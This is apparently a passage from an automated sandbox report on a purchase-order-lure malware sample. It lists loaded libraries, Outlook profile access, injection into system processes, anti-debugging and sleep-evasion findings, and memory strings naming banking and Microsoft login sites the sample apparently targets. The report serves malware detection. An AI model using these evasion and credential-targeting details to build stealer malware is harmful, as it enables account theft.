            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: PO 4800040256.exeStatic file information: File size 1325585 > 1048576
            Source: Binary string: replace.pdb source: svchost.exe, 00000002.00000003.2204683917.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247556337.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573070301.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: replace.pdbGCTL source: svchost.exe, 00000002.00000003.2204683917.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247556337.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573070301.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aqHVlkxOGyJW.exe, 00000003.00000002.4572970604.000000000053E000.00000002.00000001.01000000.00000004.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2319748039.000000000053E000.00000002.00000001.01000000.00000004.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO 4800040256.exe, 00000000.00000003.2137260963.0000000004310000.00000004.00001000.00020000.00000000.sdmp, PO 4800040256.exe, 00000000.00000003.2138538980.0000000004650000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2143164104.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2141161552.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.0000000003300000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2247489377.0000000003345000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2249736782.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.00000000036B0000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.000000000384E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO 4800040256.exe, 00000000.00000003.2137260963.0000000004310000.00000004.00001000.00020000.00000000.sdmp, PO 4800040256.exe, 00000000.00000003.2138538980.0000000004650000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2143164104.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2141161552.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2247688111.0000000003300000.00000040.00001000.00020000.00000000.sdmp, replace.exe, replace.exe, 00000004.00000003.2247489377.0000000003345000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.2249736782.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.00000000036B0000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4573828828.000000000384E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: replace.exe, 00000004.00000002.4572751193.00000000030E0000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4574211387.0000000003CDC000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2320466604.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2542054507.0000000004D3C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: replace.exe, 00000004.00000002.4572751193.00000000030E0000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.4574211387.0000000003CDC000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000000.2320466604.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2542054507.0000000004D3C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: PO 4800040256.exeStatic PE information: real checksum: 0xa2135 should be: 0x14928b
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042D853 push edi; iretd 2_2_0042D85C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414079 pushfd ; iretw 2_2_004140C6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418027 push ds; ret 2_2_00418028
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A036 push edi; ret 2_2_0041A03F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414158 push edi; ret 2_2_00414159
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D1BA push ss; retf 2_2_0040D1BB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040222C push ecx; retf 2_2_0040231F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041AA87 push edi; iretd 2_2_0041AA93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D3DC push es; ret 2_2_0040D3E2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00415474 push edx; ret 2_2_00415475
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041543B push ebp; iretd 2_2_0041543C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004034A0 push eax; ret 2_2_004034A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418D13 push edi; ret 2_2_00418D14
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00408682 push fs; iretd 2_2_00408684
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00413F43 pushfd ; iretw 2_2_004140C6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417F3A push ecx; retf 2_2_00417F3B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330225F pushad ; ret 2_2_033027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033027FA pushad ; ret 2_2_033027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033309AD push ecx; mov dword ptr [esp], ecx2_2_033309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330283D push eax; iretd 2_2_03302858
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036B225F pushad ; ret 4_2_036B27F9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036B27FA pushad ; ret 4_2_036B27F9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036E09AD push ecx; mov dword ptr [esp], ecx4_2_036E09B6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_036B283D push eax; iretd 4_2_036B2858
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E70294 push 8DB602B4h; retf 4_2_02E7029A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E7A3B0 push edi; iretd 4_2_02E7A3B9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E64A97 push ecx; retf 4_2_02E64A98
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E64B84 push ds; ret 4_2_02E64B85
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E66B93 push edi; ret 4_2_02E66B9C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E551DF push fs; iretd 4_2_02E551E1
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004440780_2_00444078
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\PO 4800040256.exeAPI/Special instruction interceptor: Address: 3EF486C
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED7E4
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED944
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED504
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED544
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041480C rdtsc 2_2_0041480C
            Source: C:\Windows\SysWOW64\replace.exeWindow / User API: threadDelayed 3511Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeWindow / User API: threadDelayed 6461Jump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeAPI coverage: 3.1 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\replace.exeAPI coverage: 2.7 %
            Source: C:\Windows\SysWOW64\replace.exe TID: 5512Thread sleep count: 3511 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 5512Thread sleep time: -7022000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 5512Thread sleep count: 6461 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 5512Thread sleep time: -12922000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe TID: 6164Thread sleep time: -80000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe TID: 6164Thread sleep time: -63000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe TID: 6164Thread sleep time: -45000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\replace.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E6C230 FindFirstFileW,FindNextFileW,FindClose,4_2_02E6C230
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: 6U0173jM.4.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
            Source: 6U0173jM.4.drBinary or memory string: discord.comVMware20,11696428655f
            Source: 6U0173jM.4.drBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: global block list test formVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
            Source: 6U0173jM.4.drBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
            Source: 6U0173jM.4.drBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
            Source: 6U0173jM.4.drBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
            Source: 6U0173jM.4.drBinary or memory string: outlook.office365.comVMware20,11696428655t
            Source: 6U0173jM.4.drBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
            Source: replace.exe, 00000004.00000002.4572751193.00000000030E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2543603664.000001C304D0D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 6U0173jM.4.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: outlook.office.comVMware20,11696428655s
            Source: 6U0173jM.4.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
            Source: 6U0173jM.4.drBinary or memory string: ms.portal.azure.comVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: AMC password management pageVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: tasks.office.comVMware20,11696428655o
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
            Source: 6U0173jM.4.drBinary or memory string: turbotax.intuit.comVMware20,11696428655t
            Source: 6U0173jM.4.drBinary or memory string: interactivebrokers.comVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
            Source: 6U0173jM.4.drBinary or memory string: dev.azure.comVMware20,11696428655j
            Source: 6U0173jM.4.drBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
            Source: aqHVlkxOGyJW.exe, 00000006.00000002.4573294126.000000000160F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
            Source: 6U0173jM.4.drBinary or memory string: bankofamerica.comVMware20,11696428655x
            Source: 6U0173jM.4.drBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
            Source: 6U0173jM.4.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041480C rdtsc 2_2_0041480C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004175E3 LdrLoadDll,2_2_004175E3
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_03EF3498 mov eax, dword ptr fs:[00000030h]0_2_03EF3498
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_03EF4B38 mov eax, dword ptr fs:[00000030h]0_2_03EF4B38
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_03EF4AD8 mov eax, dword ptr fs:[00000030h]0_2_03EF4AD8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0340634F mov eax, dword ptr fs:[00000030h]2_2_0340634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332C310 mov ecx, dword ptr fs:[00000030h]2_2_0332C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03350310 mov ecx, dword ptr fs:[00000030h]2_2_03350310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A30B mov eax, dword ptr fs:[00000030h]2_2_0336A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A30B mov eax, dword ptr fs:[00000030h]2_2_0336A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A30B mov eax, dword ptr fs:[00000030h]2_2_0336A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D437C mov eax, dword ptr fs:[00000030h]2_2_033D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03408324 mov eax, dword ptr fs:[00000030h]2_2_03408324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03408324 mov ecx, dword ptr fs:[00000030h]2_2_03408324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03408324 mov eax, dword ptr fs:[00000030h]2_2_03408324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03408324 mov eax, dword ptr fs:[00000030h]2_2_03408324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov eax, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov eax, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov eax, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov ecx, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov eax, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B035C mov eax, dword ptr fs:[00000030h]2_2_033B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FA352 mov eax, dword ptr fs:[00000030h]2_2_033FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D8350 mov ecx, dword ptr fs:[00000030h]2_2_033D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B2349 mov eax, dword ptr fs:[00000030h]2_2_033B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328397 mov eax, dword ptr fs:[00000030h]2_2_03328397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328397 mov eax, dword ptr fs:[00000030h]2_2_03328397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328397 mov eax, dword ptr fs:[00000030h]2_2_03328397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E388 mov eax, dword ptr fs:[00000030h]2_2_0332E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E388 mov eax, dword ptr fs:[00000030h]2_2_0332E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E388 mov eax, dword ptr fs:[00000030h]2_2_0332E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335438F mov eax, dword ptr fs:[00000030h]2_2_0335438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335438F mov eax, dword ptr fs:[00000030h]2_2_0335438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E3F0 mov eax, dword ptr fs:[00000030h]2_2_0334E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E3F0 mov eax, dword ptr fs:[00000030h]2_2_0334E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E3F0 mov eax, dword ptr fs:[00000030h]2_2_0334E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033663FF mov eax, dword ptr fs:[00000030h]2_2_033663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033403E9 mov eax, dword ptr fs:[00000030h]2_2_033403E9
